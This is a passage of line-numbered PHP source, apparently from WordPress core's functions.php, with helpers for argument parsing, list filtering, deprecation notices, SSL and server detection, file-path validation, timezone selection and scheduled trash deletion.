2600 *
2601 * @since 2.2.0
2602 *
2603 * @param string|array $args Value to merge with $defaults
2604 * @param array $defaults Array that serves as the defaults.
2605 * @return array Merged user defined values with defaults.
2606 */
2607
2608function wp_parse_args( $args, $defaults = '' ) {
2609 if ( is_object( $args ) )
2610 $r = get_object_vars( $args );
2611 elseif ( is_array( $args ) )
2612 $r =& $args;
2613 else
2614 wp_parse_str( $args, $r );
2615
2616 if ( is_array( $defaults ) )
2617 return array_merge( $defaults, $r );
2618 return $r;
2619}
2620
2621/**
2622 * Clean up an array, comma- or space-separated list of IDs.
2623 *
2624 * @since 3.0.0
2625 *
2626 * @param array|string $list
2627 * @return array Sanitized array of IDs
2628 */
2629
2630function wp_parse_id_list( $list ) {
2631 if ( !is_array($list) )
2632 $list = preg_split('/[\s,]+/', $list);
2633
2634 return array_unique(array_map('absint', $list));
2635}
2636
2637/**
2638 * Extract a slice of an array, given a list of keys.
2639 *
2640 * @since 3.1.0
2641 *
2642 * @param array $array The original array
2643 * @param array $keys The list of keys
2644 * @return array The array slice
2645 */
2646
2647function wp_array_slice_assoc( $array, $keys ) {
2648 $slice = array();
2649 foreach ( $keys as $key )
2650 if ( isset( $array[ $key ] ) )
2651 $slice[ $key ] = $array[ $key ];
2652
2653 return $slice;
2654}
2655
2656/**
2657 * Filters a list of objects, based on a set of key => value arguments.
2658 *
2659 * @since 3.0.0
2660 *
2661 * @param array $list An array of objects to filter
2662 * @param array $args An array of key => value arguments to match against each object
2663 * @param string $operator The logical operation to perform. 'or' means only one element
2664 * from the array needs to match; 'and' means all elements must match. The default is 'and'.
2665 * @param bool|string $field A field from the object to place instead of the entire object
2666 * @return array A list of objects or object fields
2667 */
2668
2669function wp_filter_object_list( $list, $args = array(), $operator = 'and', $field = false ) {
2670 if ( ! is_array( $list ) )
2671 return array();
2672
2673 $list = wp_list_filter( $list, $args, $operator );
2674
2675 if ( $field )
2676 $list = wp_list_pluck( $list, $field );
2677
2678 return $list;
2679}
2680
2681/**
2682 * Filters a list of objects, based on a set of key => value arguments.
2683 *
2684 * @since 3.1.0
2685 *
2686 * @param array $list An array of objects to filter
2687 * @param array $args An array of key => value arguments to match against each object
2688 * @param string $operator The logical operation to perform:
2689 * 'AND' means all elements from the array must match;
2690 * 'OR' means only one element needs to match;
2691 * 'NOT' means no elements may match.
2692 * The default is 'AND'.
2693 * @return array
2694 */
2695
2696function wp_list_filter( $list, $args = array(), $operator = 'AND' ) {
2697 if ( ! is_array( $list ) )
2698 return array();
2699
2700 if ( empty( $args ) )
2701 return $list;
2702
2703 $operator = strtoupper( $operator );
2704 $count = count( $args );
2705 $filtered = array();
2706
2707 foreach ( $list as $key => $obj ) {
2708 $to_match = (array) $obj;
2709
2710 $matched = 0;
2711 foreach ( $args as $m_key => $m_value ) {
2712 if ( array_key_exists( $m_key, $to_match ) && $m_value == $to_match[ $m_key ] )
2713 $matched++;
2714 }
2715
2716 if ( ( 'AND' == $operator && $matched == $count )
2717 || ( 'OR' == $operator && $matched > 0 )
2718 || ( 'NOT' == $operator && 0 == $matched ) ) {
2719 $filtered[$key] = $obj;
2720 }
2721 }
2722
2723 return $filtered;
2724}
2725
2726/**
2727 * Pluck a certain field out of each object in a list.
2728 *
2729 * @since 3.1.0
2730 *
2731 * @param array $list A list of objects or arrays
2732 * @param int|string $field A field from the object to place instead of the entire object
2733 * @return array
2734 */
2735
2736function wp_list_pluck( $list, $field ) {
2737 foreach ( $list as $key => $value ) {
2738 if ( is_object( $value ) )
2739 $list[ $key ] = $value->$field;
2740 else
2741 $list[ $key ] = $value[ $field ];
2742 }
2743
2744 return $list;
2745}
2746
2747/**
2748 * Determines if Widgets library should be loaded.
2749 *
2750 * Checks to make sure that the widgets library hasn't already been loaded. If
2751 * it hasn't, then it will load the widgets library and run an action hook.
2752 *
2753 * @since 2.2.0
2754 * @uses add_action() Calls '_admin_menu' hook with 'wp_widgets_add_menu' value.
2755 */
2756
2757function wp_maybe_load_widgets() {
2758 if ( ! apply_filters('load_default_widgets', true) )
2759 return;
2760 require_once( ABSPATH . WPINC . '/default-widgets.php' );
2761 add_action( '_admin_menu', 'wp_widgets_add_menu' );
2762}
2763
2764/**
2765 * Append the Widgets menu to the themes main menu.
2766 *
2767 * @since 2.2.0
2768 * @uses $submenu The administration submenu list.
2769 */
2770
2771function wp_widgets_add_menu() {
2772 global $submenu;
2773
2774 if ( ! current_theme_supports( 'widgets' ) )
2775 return;
2776
2777 $submenu['themes.php'][7] = array( __( 'Widgets' ), 'edit_theme_options', 'widgets.php' );
2778 ksort( $submenu['themes.php'], SORT_NUMERIC );
2779}
2780
2781/**
2782 * Flush all output buffers for PHP 5.2.
2783 *
2784 * Make sure all output buffers are flushed before our singletons our destroyed.
2785 *
2786 * @since 2.2.0
2787 */
2788
2789function wp_ob_end_flush_all() {
2790 $levels = ob_get_level();
2791 for ($i=0; $i<$levels; $i++)
2792 ob_end_flush();
2793}
2794
2795/**
2796 * Load custom DB error or display WordPress DB error.
2797 *
2798 * If a file exists in the wp-content directory named db-error.php, then it will
2799 * be loaded instead of displaying the WordPress DB error. If it is not found,
2800 * then the WordPress DB error will be displayed instead.
2801 *
2802 * The WordPress DB error sets the HTTP status header to 500 to try to prevent
2803 * search engines from caching the message. Custom DB messages should do the
2804 * same.
2805 *
2806 * This function was backported to the the WordPress 2.3.2, but originally was
2807 * added in WordPress 2.5.0.
2808 *
2809 * @since 2.3.2
2810 * @uses $wpdb
2811 */
2812
2813function dead_db() {
2814 global $wpdb;
2815
2816 // Load custom DB error template, if present.
2817 if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) {
2818 require_once( WP_CONTENT_DIR . '/db-error.php' );
2819 die();
2820 }
2821
2822 // If installing or in the admin, provide the verbose message.
2823 if ( defined('WP_INSTALLING') || defined('WP_ADMIN') )
2824 wp_die($wpdb->error);
2825
2826 // Otherwise, be terse.
2827 status_header( 500 );
2828 nocache_headers();
2829 header( 'Content-Type: text/html; charset=utf-8' );
2830
2831 wp_load_translations_early();
2832?>
2833<!DOCTYPE html>
2834<html xmlns="http://www.w3.org/1999/xhtml"<?php if ( is_rtl() ) echo ' dir="rtl"'; ?>>
2835<head>
2836<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
2837 <title><?php _e( 'Database Error' ); ?></title>
2838
2839</head>
2840<body>
2841 <h1><?php _e( 'Error establishing a database connection' ); ?></h1>
2842</body>
2843</html>
2844<?php
2845 die();
2846}
2847
2848/**
2849 * Converts value to nonnegative integer.
2850 *
2851 * @since 2.5.0
2852 *
2853 * @param mixed $maybeint Data you wish to have converted to a nonnegative integer
2854 * @return int An nonnegative integer
2855 */
2856
2857function absint( $maybeint ) {
2858 return abs( intval( $maybeint ) );
2859}
2860
2861/**
2862 * Determines if the blog can be accessed over SSL.
2863 *
2864 * Determines if blog can be accessed over SSL by using cURL to access the site
2865 * using the https in the siteurl. Requires cURL extension to work correctly.
2866 *
2867 * @since 2.5.0
2868 *
2869 * @param string $url
2870 * @return bool Whether SSL access is available
2871 */
2872
2873function url_is_accessable_via_ssl($url)
2874{
2875 if ( in_array( 'curl', get_loaded_extensions() ) ) {
2876 $ssl = set_url_scheme( $url, 'https' );
2877
2878 $ch = curl_init();
2879 curl_setopt($ch, CURLOPT_URL, $ssl);
2880 curl_setopt($ch, CURLOPT_FAILONERROR, true);
2881 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
2882 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
2883 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
2884
2885 curl_exec($ch);
2886
2887 $status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
2888 curl_close ($ch);
2889
2890 if ($status == 200 || $status == 401) {
2891 return true;
2892 }
2893 }
2894 return false;
2895}
2896
2897/**
2898 * Marks a function as deprecated and informs when it has been used.
2899 *
2900 * There is a hook deprecated_function_run that will be called that can be used
2901 * to get the backtrace up to what file and function called the deprecated
2902 * function.
2903 *
2904 * The current behavior is to trigger a user error if WP_DEBUG is true.
2905 *
2906 * This function is to be used in every function that is deprecated.
2907 *
2908 * @package WordPress
2909 * @subpackage Debug
2910 * @since 2.5.0
2911 * @access private
2912 *
2913 * @uses do_action() Calls 'deprecated_function_run' and passes the function name, what to use instead,
2914 * and the version the function was deprecated in.
2915 * @uses apply_filters() Calls 'deprecated_function_trigger_error' and expects boolean value of true to do
2916 * trigger or false to not trigger error.
2917 *
2918 * @param string $function The function that was called
2919 * @param string $version The version of WordPress that deprecated the function
2920 * @param string $replacement Optional. The function that should have been called
2921 */
2922
2923function _deprecated_function( $function, $version, $replacement = null ) {
2924
2925 do_action( 'deprecated_function_run', $function, $replacement, $version );
2926
2927 // Allow plugin to filter the output error trigger
2928 if ( WP_DEBUG && apply_filters( 'deprecated_function_trigger_error', true ) ) {
2929 if ( ! is_null($replacement) )
2930 trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.'), $function, $version, $replacement ) );
2931 else
2932 trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.'), $function, $version ) );
2933 }
2934}
2935
2936/**
2937 * Marks a file as deprecated and informs when it has been used.
2938 *
2939 * There is a hook deprecated_file_included that will be called that can be used
2940 * to get the backtrace up to what file and function included the deprecated
2941 * file.
2942 *
2943 * The current behavior is to trigger a user error if WP_DEBUG is true.
2944 *
2945 * This function is to be used in every file that is deprecated.
2946 *
2947 * @package WordPress
2948 * @subpackage Debug
2949 * @since 2.5.0
2950 * @access private
2951 *
2952 * @uses do_action() Calls 'deprecated_file_included' and passes the file name, what to use instead,
2953 * the version in which the file was deprecated, and any message regarding the change.
2954 * @uses apply_filters() Calls 'deprecated_file_trigger_error' and expects boolean value of true to do
2955 * trigger or false to not trigger error.
2956 *
2957 * @param string $file The file that was included
2958 * @param string $version The version of WordPress that deprecated the file
2959 * @param string $replacement Optional. The file that should have been included based on ABSPATH
2960 * @param string $message Optional. A message regarding the change
2961 */
2962
2963function _deprecated_file( $file, $version, $replacement = null, $message = '' ) {
2964
2965 do_action( 'deprecated_file_included', $file, $replacement, $version, $message );
2966
2967 // Allow plugin to filter the output error trigger
2968 if ( WP_DEBUG && apply_filters( 'deprecated_file_trigger_error', true ) ) {
2969 $message = empty( $message ) ? '' : ' ' . $message;
2970 if ( ! is_null( $replacement ) )
2971 trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.'), $file, $version, $replacement ) . $message );
2972 else
2973 trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.'), $file, $version ) . $message );
2974 }
2975}
2976/**
2977 * Marks a function argument as deprecated and informs when it has been used.
2978 *
2979 * This function is to be used whenever a deprecated function argument is used.
2980 * Before this function is called, the argument must be checked for whether it was
2981 * used by comparing it to its default value or evaluating whether it is empty.
2982 * For example:
2983 * <code>
2984 * if ( !empty($deprecated) )
2985 * _deprecated_argument( __FUNCTION__, '3.0' );
2986 * </code>
2987 *
2988 * There is a hook deprecated_argument_run that will be called that can be used
2989 * to get the backtrace up to what file and function used the deprecated
2990 * argument.
2991 *
2992 * The current behavior is to trigger a user error if WP_DEBUG is true.
2993 *
2994 * @package WordPress
2995 * @subpackage Debug
2996 * @since 3.0.0
2997 * @access private
2998 *
2999 * @uses do_action() Calls 'deprecated_argument_run' and passes the function name, a message on the change,
3000 * and the version in which the argument was deprecated.
3001 * @uses apply_filters() Calls 'deprecated_argument_trigger_error' and expects boolean value of true to do
3002 * trigger or false to not trigger error.
3003 *
3004 * @param string $function The function that was called
3005 * @param string $version The version of WordPress that deprecated the argument used
3006 * @param string $message Optional. A message regarding the change.
3007 */
3008
3009function _deprecated_argument( $function, $version, $message = null ) {
3010
3011 do_action( 'deprecated_argument_run', $function, $message, $version );
3012
3013 // Allow plugin to filter the output error trigger
3014 if ( WP_DEBUG && apply_filters( 'deprecated_argument_trigger_error', true ) ) {
3015 if ( ! is_null( $message ) )
3016 trigger_error( sprintf( __('%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s! %3$s'), $function, $version, $message ) );
3017 else
3018 trigger_error( sprintf( __('%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s with no alternative available.'), $function, $version ) );
3019 }
3020}
3021
3022/**
3023 * Marks something as being incorrectly called.
3024 *
3025 * There is a hook doing_it_wrong_run that will be called that can be used
3026 * to get the backtrace up to what file and function called the deprecated
3027 * function.
3028 *
3029 * The current behavior is to trigger a user error if WP_DEBUG is true.
3030 *
3031 * @package WordPress
3032 * @subpackage Debug
3033 * @since 3.1.0
3034 * @access private
3035 *
3036 * @uses do_action() Calls 'doing_it_wrong_run' and passes the function arguments.
3037 * @uses apply_filters() Calls 'doing_it_wrong_trigger_error' and expects boolean value of true to do
3038 * trigger or false to not trigger error.
3039 *
3040 * @param string $function The function that was called.
3041 * @param string $message A message explaining what has been done incorrectly.
3042 * @param string $version The version of WordPress where the message was added.
3043 */
3044
3045function _doing_it_wrong( $function, $message, $version ) {
3046
3047 do_action( 'doing_it_wrong_run', $function, $message, $version );
3048
3049 // Allow plugin to filter the output error trigger
3050 if ( WP_DEBUG && apply_filters( 'doing_it_wrong_trigger_error', true ) ) {
3051 $version = is_null( $version ) ? '' : sprintf( __( '(This message was added in version %s.)' ), $version );
3052 $message .= ' ' . __( 'Please see <a href="http://codex.wordpress.org/Debugging_in_WordPress">Debugging in WordPress</a> for more information.' );
3053 trigger_error( sprintf( __( '%1$s was called <strong>incorrectly</strong>. %2$s %3$s' ), $function, $message, $version ) );
3054 }
3055}
3056
3057/**
3058 * Is the server running earlier than 1.5.0 version of lighttpd?
3059 *
3060 * @since 2.5.0
3061 *
3062 * @return bool Whether the server is running lighttpd < 1.5.0
3063 */
3064
3065function is_lighttpd_before_150() {
3066 $server_parts = explode( '/', isset( $_SERVER['SERVER_SOFTWARE'] )? $_SERVER['SERVER_SOFTWARE'] : '' );
3067 $server_parts[1] = isset( $server_parts[1] )? $server_parts[1] : '';
3068 return 'lighttpd' == $server_parts[0] && -1 == version_compare( $server_parts[1], '1.5.0' );
3069}
3070
3071/**
3072 * Does the specified module exist in the Apache config?
3073 *
3074 * @since 2.5.0
3075 *
3076 * @param string $mod e.g. mod_rewrite
3077 * @param bool $default The default return value if the module is not found
3078 * @return bool
3079 */
3080
3081function apache_mod_loaded($mod, $default = false) {
3082 global $is_apache;
3083
3084 if ( !$is_apache )
3085 return false;
3086
3087 if ( function_exists('apache_get_modules') ) {
3088 $mods = apache_get_modules();
3089 if ( in_array($mod, $mods) )
3090 return true;
3091 } elseif ( function_exists('phpinfo') ) {
3092 ob_start();
3093 phpinfo(8);
3094 $phpinfo = ob_get_clean();
3095 if ( false !== strpos($phpinfo, $mod) )
3096 return true;
3097 }
3098 return $default;
3099}
3100
3101/**
3102 * Check if IIS 7 supports pretty permalinks.
3103 *
3104 * @since 2.8.0
3105 *
3106 * @return bool
3107 */
3108
3109function iis7_supports_permalinks() {
3110 global $is_iis7;
3111
3112 $supports_permalinks = false;
3113 if ( $is_iis7 ) {
3114 /* First we check if the DOMDocument class exists. If it does not exist,
3115 * which is the case for PHP 4.X, then we cannot easily update the xml configuration file,
3116 * hence we just bail out and tell user that pretty permalinks cannot be used.
3117 * This is not a big issue because PHP 4.X is going to be deprecated and for IIS it
3118 * is recommended to use PHP 5.X NTS.
3119 * Next we check if the URL Rewrite Module 1.1 is loaded and enabled for the web site. When
3120 * URL Rewrite 1.1 is loaded it always sets a server variable called 'IIS_UrlRewriteModule'.
3121 * Lastly we make sure that PHP is running via FastCGI. This is important because if it runs
3122 * via ISAPI then pretty permalinks will not work.
3123 */
3124 $supports_permalinks = class_exists('DOMDocument') && isset($_SERVER['IIS_UrlRewriteModule']) && ( php_sapi_name() == 'cgi-fcgi' );
3125 }
3126
3127 return apply_filters('iis7_supports_permalinks', $supports_permalinks);
3128}
3129
3130/**
3131 * File validates against allowed set of defined rules.
3132 *
3133 * A return value of '1' means that the $file contains either '..' or './'. A
3134 * return value of '2' means that the $file contains ':' after the first
3135 * character. A return value of '3' means that the file is not in the allowed
3136 * files list.
3137 *
3138 * @since 1.2.0
3139 *
3140 * @param string $file File path.
3141 * @param array $allowed_files List of allowed files.
3142 * @return int 0 means nothing is wrong, greater than 0 means something was wrong.
3143 */
3144
3145function validate_file( $file, $allowed_files = '' ) {
3146 if ( false !== strpos( $file, '..' ) )
3147 return 1;
3148
3149 if ( false !== strpos( $file, './' ) )
3150 return 1;
3151
3152 if ( ! empty( $allowed_files ) && ! in_array( $file, $allowed_files ) )
3153 return 3;
3154
3155 if (':' == substr( $file, 1, 1 ) )
3156 return 2;
3157
3158 return 0;
3159}
3160
3161/**
3162 * Determine if SSL is used.
3163 *
3164 * @since 2.6.0
3165 *
3166 * @return bool True if SSL, false if not used.
3167 */
3168
3169function is_ssl() {
3170 if ( isset($_SERVER['HTTPS']) ) {
3171 if ( 'on' == strtolower($_SERVER['HTTPS']) )
3172 return true;
3173 if ( '1' == $_SERVER['HTTPS'] )
3174 return true;
3175 } elseif ( isset($_SERVER['SERVER_PORT']) && ( '443' == $_SERVER['SERVER_PORT'] ) ) {
3176 return true;
3177 }
3178 return false;
3179}
3180
3181/**
3182 * Whether SSL login should be forced.
3183 *
3184 * @since 2.6.0
3185 *
3186 * @param string|bool $force Optional.
3187 * @return bool True if forced, false if not forced.
3188 */
3189
3190function force_ssl_login( $force = null ) {
3191 static $forced = false;
3192
3193 if ( !is_null( $force ) ) {
3194 $old_forced = $forced;
3195 $forced = $force;
3196 return $old_forced;
3197 }
3198
3199 return $forced;
3200}
3201
3202/**
3203 * Whether to force SSL used for the Administration Screens.
3204 *
3205 * @since 2.6.0
3206 *
3207 * @param string|bool $force
3208 * @return bool True if forced, false if not forced.
3209 */
3210
3211function force_ssl_admin( $force = null ) {
3212 static $forced = false;
3213
3214 if ( !is_null( $force ) ) {
3215 $old_forced = $forced;
3216 $forced = $force;
3217 return $old_forced;
3218 }
3219
3220 return $forced;
3221}
3222
3223/**
3224 * Guess the URL for the site.
3225 *
3226 * Will remove wp-admin links to retrieve only return URLs not in the wp-admin
3227 * directory.
3228 *
3229 * @since 2.6.0
3230 *
3231 * @return string
3232 */
3233
3234function wp_guess_url() {
3235 if ( defined('WP_SITEURL') && '' != WP_SITEURL ) {
3236 $url = WP_SITEURL;
3237 } else {
3238 $schema = is_ssl() ? 'https://' : 'http://'; // set_url_scheme() is not defined yet
3239 $url = preg_replace( '#/(wp-admin/.*|wp-login.php)#i', '', $schema . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
3240 }
3241
3242 return rtrim($url, '/');
3243}
3244
3245/**
3246 * Temporarily suspend cache additions.
3247 *
3248 * Stops more data being added to the cache, but still allows cache retrieval.
3249 * This is useful for actions, such as imports, when a lot of data would otherwise
3250 * be almost uselessly added to the cache.
3251 *
3252 * Suspension lasts for a single page load at most. Remember to call this
3253 * function again if you wish to re-enable cache adds earlier.
3254 *
3255 * @since 3.3.0
3256 *
3257 * @param bool $suspend Optional. Suspends additions if true, re-enables them if false.
3258 * @return bool The current suspend setting
3259 */
3260
3261function wp_suspend_cache_addition( $suspend = null ) {
3262 static $_suspend = false;
3263
3264 if ( is_bool( $suspend ) )
3265 $_suspend = $suspend;
3266
3267 return $_suspend;
3268}
3269
3270/**
3271 * Suspend cache invalidation.
3272 *
3273 * Turns cache invalidation on and off. Useful during imports where you don't wont to do invalidations
3274 * every time a post is inserted. Callers must be sure that what they are doing won't lead to an inconsistent
3275 * cache when invalidation is suspended.
3276 *
3277 * @since 2.7.0
3278 *
3279 * @param bool $suspend Whether to suspend or enable cache invalidation
3280 * @return bool The current suspend setting
3281 */
3282
3283function wp_suspend_cache_invalidation($suspend = true) {
3284 global $_wp_suspend_cache_invalidation;
3285
3286 $current_suspend = $_wp_suspend_cache_invalidation;
3287 $_wp_suspend_cache_invalidation = $suspend;
3288 return $current_suspend;
3289}
3290
3291/**
3292 * Is main site?
3293 *
3294 *
3295 * @since 3.0.0
3296 * @package WordPress
3297 *
3298 * @param int $blog_id optional blog id to test (default current blog)
3299 * @return bool True if not multisite or $blog_id is main site
3300 */
3301
3302function is_main_site( $blog_id = '' ) {
3303 global $current_site;
3304
3305 if ( ! is_multisite() )
3306 return true;
3307
3308 if ( ! $blog_id )
3309 $blog_id = get_current_blog_id();
3310
3311 return $blog_id == $current_site->blog_id;
3312}
3313
3314/**
3315 * Whether global terms are enabled.
3316 *
3317 *
3318 * @since 3.0.0
3319 * @package WordPress
3320 *
3321 * @return bool True if multisite and global terms enabled
3322 */
3323
3324function global_terms_enabled() {
3325 if ( ! is_multisite() )
3326 return false;
3327
3328 static $global_terms = null;
3329 if ( is_null( $global_terms ) ) {
3330 $filter = apply_filters( 'global_terms_enabled', null );
3331 if ( ! is_null( $filter ) )
3332 $global_terms = (bool) $filter;
3333 else
3334 $global_terms = (bool) get_site_option( 'global_terms_enabled', false );
3335 }
3336 return $global_terms;
3337}
3338
3339/**
3340 * gmt_offset modification for smart timezone handling.
3341 *
3342 * Overrides the gmt_offset option if we have a timezone_string available.
3343 *
3344 * @since 2.8.0
3345 *
3346 * @return float|bool
3347 */
3348
3349function wp_timezone_override_offset() {
3350 if ( !$timezone_string = get_option( 'timezone_string' ) ) {
3351 return false;
3352 }
3353
3354 $timezone_object = timezone_open( $timezone_string );
3355 $datetime_object = date_create();
3356 if ( false === $timezone_object || false === $datetime_object ) {
3357 return false;
3358 }
3359 return round( timezone_offset_get( $timezone_object, $datetime_object ) / HOUR_IN_SECONDS, 2 );
3360}
3361
3362/**
3363 * {@internal Missing Short Description}}
3364 *
3365 * @since 2.9.0
3366 *
3367 * @param unknown_type $a
3368 * @param unknown_type $b
3369 * @return int
3370 */
3371
3372function _wp_timezone_choice_usort_callback( $a, $b ) {
3373 // Don't use translated versions of Etc
3374 if ( 'Etc' === $a['continent'] && 'Etc' === $b['continent'] ) {
3375 // Make the order of these more like the old dropdown
3376 if ( 'GMT+' === substr( $a['city'], 0, 4 ) && 'GMT+' === substr( $b['city'], 0, 4 ) ) {
3377 return -1 * ( strnatcasecmp( $a['city'], $b['city'] ) );
3378 }
3379 if ( 'UTC' === $a['city'] ) {
3380 if ( 'GMT+' === substr( $b['city'], 0, 4 ) ) {
3381 return 1;
3382 }
3383 return -1;
3384 }
3385 if ( 'UTC' === $b['city'] ) {
3386 if ( 'GMT+' === substr( $a['city'], 0, 4 ) ) {
3387 return -1;
3388 }
3389 return 1;
3390 }
3391 return strnatcasecmp( $a['city'], $b['city'] );
3392 }
3393 if ( $a['t_continent'] == $b['t_continent'] ) {
3394 if ( $a['t_city'] == $b['t_city'] ) {
3395 return strnatcasecmp( $a['t_subcity'], $b['t_subcity'] );
3396 }
3397 return strnatcasecmp( $a['t_city'], $b['t_city'] );
3398 } else {
3399 // Force Etc to the bottom of the list
3400 if ( 'Etc' === $a['continent'] ) {
3401 return 1;
3402 }
3403 if ( 'Etc' === $b['continent'] ) {
3404 return -1;
3405 }
3406 return strnatcasecmp( $a['t_continent'], $b['t_continent'] );
3407 }
3408}
3409
3410/**
3411 * Gives a nicely formatted list of timezone strings. // temporary! Not in final
3412 *
3413 * @since 2.9.0
3414 *
3415 * @param string $selected_zone Selected Zone
3416 * @return string
3417 */
3418
3419function wp_timezone_choice( $selected_zone ) {
3420 static $mo_loaded = false;
3421
3422 $continents = array( 'Africa', 'America', 'Antarctica', 'Arctic', 'Asia', 'Atlantic', 'Australia', 'Europe', 'Indian', 'Pacific');
3423
3424 // Load translations for continents and cities
3425 if ( !$mo_loaded ) {
3426 $locale = get_locale();
3427 $mofile = WP_LANG_DIR . '/continents-cities-' . $locale . '.mo';
3428 load_textdomain( 'continents-cities', $mofile );
3429 $mo_loaded = true;
3430 }
3431
3432 $zonen = array();
3433 foreach ( timezone_identifiers_list() as $zone ) {
3434 $zone = explode( '/', $zone );
3435 if ( !in_array( $zone[0], $continents ) ) {
3436 continue;
3437 }
3438
3439 // This determines what gets set and translated - we don't translate Etc/* strings here, they are done later
3440 $exists = array(
3441 0 => ( isset( $zone[0] ) && $zone[0] ),
3442 1 => ( isset( $zone[1] ) && $zone[1] ),
3443 2 => ( isset( $zone[2] ) && $zone[2] ),
3444 );
3445 $exists[3] = ( $exists[0] && 'Etc' !== $zone[0] );
3446 $exists[4] = ( $exists[1] && $exists[3] );
3447 $exists[5] = ( $exists[2] && $exists[3] );
3448
3449 $zonen[] = array(
3450 'continent' => ( $exists[0] ? $zone[0] : '' ),
3451 'city' => ( $exists[1] ? $zone[1] : '' ),
3452 'subcity' => ( $exists[2] ? $zone[2] : '' ),
3453 't_continent' => ( $exists[3] ? translate( str_replace( '_', ' ', $zone[0] ), 'continents-cities' ) : '' ),
3454 't_city' => ( $exists[4] ? translate( str_replace( '_', ' ', $zone[1] ), 'continents-cities' ) : '' ),
3455 't_subcity' => ( $exists[5] ? translate( str_replace( '_', ' ', $zone[2] ), 'continents-cities' ) : '' )
3456 );
3457 }
3458 usort( $zonen, '_wp_timezone_choice_usort_callback' );
3459
3460 $structure = array();
3461
3462 if ( empty( $selected_zone ) ) {
3463 $structure[] = '<option selected="selected" value="">' . __( 'Select a city' ) . '</option>';
3464 }
3465
3466 foreach ( $zonen as $key => $zone ) {
3467 // Build value in an array to join later
3468 $value = array( $zone['continent'] );
3469
3470 if ( empty( $zone['city'] ) ) {
3471 // It's at the continent level (generally won't happen)
3472 $display = $zone['t_continent'];
3473 } else {
3474 // It's inside a continent group
3475
3476 // Continent optgroup
3477 if ( !isset( $zonen[$key - 1] ) || $zonen[$key - 1]['continent'] !== $zone['continent'] ) {
3478 $label = $zone['t_continent'];
3479 $structure[] = '<optgroup label="'. esc_attr( $label ) .'">';
3480 }
3481
3482 // Add the city to the value
3483 $value[] = $zone['city'];
3484
3485 $display = $zone['t_city'];
3486 if ( !empty( $zone['subcity'] ) ) {
3487 // Add the subcity to the value
3488 $value[] = $zone['subcity'];
3489 $display .= ' - ' . $zone['t_subcity'];
3490 }
3491 }
3492
3493 // Build the value
3494 $value = join( '/', $value );
3495 $selected = '';
3496 if ( $value === $selected_zone ) {
3497 $selected = 'selected="selected" ';
3498 }
3499 $structure[] = '<option ' . $selected . 'value="' . esc_attr( $value ) . '">' . esc_html( $display ) . "</option>";
3500
3501 // Close continent optgroup
3502 if ( !empty( $zone['city'] ) && ( !isset($zonen[$key + 1]) || (isset( $zonen[$key + 1] ) && $zonen[$key + 1]['continent'] !== $zone['continent']) ) ) {
3503 $structure[] = '</optgroup>';
3504 }
3505 }
3506
3507 // Do UTC
3508 $structure[] = '<optgroup label="'. esc_attr__( 'UTC' ) .'">';
3509 $selected = '';
3510 if ( 'UTC' === $selected_zone )
3511 $selected = 'selected="selected" ';
3512 $structure[] = '<option ' . $selected . 'value="' . esc_attr( 'UTC' ) . '">' . __('UTC') . '</option>';
3513 $structure[] = '</optgroup>';
3514
3515 // Do manual UTC offsets
3516 $structure[] = '<optgroup label="'. esc_attr__( 'Manual Offsets' ) .'">';
3517 $offset_range = array (-12, -11.5, -11, -10.5, -10, -9.5, -9, -8.5, -8, -7.5, -7, -6.5, -6, -5.5, -5, -4.5, -4, -3.5, -3, -2.5, -2, -1.5, -1, -0.5,
3518 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 5.75, 6, 6.5, 7, 7.5, 8, 8.5, 8.75, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.75, 13, 13.75, 14);
3519 foreach ( $offset_range as $offset ) {
3520 if ( 0 <= $offset )
3521 $offset_name = '+' . $offset;
3522 else
3523 $offset_name = (string) $offset;
3524
3525 $offset_value = $offset_name;
3526 $offset_name = str_replace(array('.25','.5','.75'), array(':15',':30',':45'), $offset_name);
3527 $offset_name = 'UTC' . $offset_name;
3528 $offset_value = 'UTC' . $offset_value;
3529 $selected = '';
3530 if ( $offset_value === $selected_zone )
3531 $selected = 'selected="selected" ';
3532 $structure[] = '<option ' . $selected . 'value="' . esc_attr( $offset_value ) . '">' . esc_html( $offset_name ) . "</option>";
3533
3534 }
3535 $structure[] = '</optgroup>';
3536
3537 return join( "\n", $structure );
3538}
3539
3540/**
3541 * Strip close comment and close php tags from file headers used by WP.
3542 * See http://core.trac.wordpress.org/ticket/8497
3543 *
3544 * @since 2.8.0
3545 *
3546 * @param string $str
3547 * @return string
3548 */
3549
3550function _cleanup_header_comment($str) {
3551 return trim(preg_replace("/\s*(?:\*\/|\?>).*/", '', $str));
3552}
3553
3554/**
3555 * Permanently deletes posts, pages, attachments, and comments which have been in the trash for EMPTY_TRASH_DAYS.
3556 *
3557 * @since 2.9.0
3558 */
3559
3560function wp_scheduled_delete() {
3561 global $wpdb;
3562
3563 $delete_timestamp = time() - ( DAY_IN_SECONDS * EMPTY_TRASH_DAYS );
3564
3565 $posts_to_delete = $wpdb->get_results($wpdb->prepare("SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < '%d'", $delete_timestamp), ARRAY_A);
3566
3567 foreach ( (array) $posts_to_delete as $post ) {
3568 $post_id = (int) $post['post_id'];
3569 if ( !$post_id )
3570 continue;
3571
3572 $del_post = get_post($post_id);
3573
3574 if ( !$del_post || 'trash' != $del_post->post_status ) {
3575 delete_post_meta($post_id, '_wp_trash_meta_status');
3576 delete_post_meta($post_id, '_wp_trash_meta_time');
3577 } else {
3578 wp_delete_post($post_id);
3579 }
3580 }
3581
3582 $comments_to_delete = $wpdb->get_results($wpdb->prepare("SELECT comment_id FROM $wpdb->commentmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < '%d'", $delete_timestamp), ARRAY_A);
